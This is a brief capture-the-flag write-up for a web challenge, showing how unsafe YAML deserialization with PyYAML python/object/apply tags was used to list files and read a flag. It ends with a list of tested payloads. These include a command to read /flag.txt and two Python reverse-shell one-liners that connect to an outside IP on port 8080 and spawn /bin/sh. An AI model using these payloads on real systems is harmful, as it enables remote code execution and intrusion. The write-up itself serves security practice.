2024-10-20 Y2J (Web)

Basically, we know something not correctly serialized should return the flag

We’ve confirmed the flag exists here with a !!python/object/apply:os.listdir and know to start digging into these classes or objects.

After playing around for a while, we print the string because of the  Object of type is not JSON serialized output errors, [os.read](http://os.read) and [os.open](http://os.open) the flag defining the arguments for read only and 256 bytes in length.

flag{b20870a1955ac22377045e3b2dcb832a}

##########################################################################

Other screenshots from testing other objects yo return input, use, and how the backend interprets the commands.

    - !!python/object/apply:open.read
    - []

#- !!python/object/apply:os.popen ["/bin/bash/ sudo cat /flag.txt", "w"]
#- !!python/object/apply:subprocess.check_output

#- !!python/object/apply:builtins.str
#- !!python/object/apply:subprocess.run [["sudo", "export RHOST=20.64.224.40; export RPORT=8080; python -c import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(RHOST),int(os.getenv(RPORT))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(/bin/sh)"]]

#- !!python/object/apply:builtins.str
#- !!python/object/apply:os.system ["export RHOST=20.64.224.40; export RPORT=8080; python -c import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(RHOST),int(os.getenv(RPORT))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(/bin/sh)"]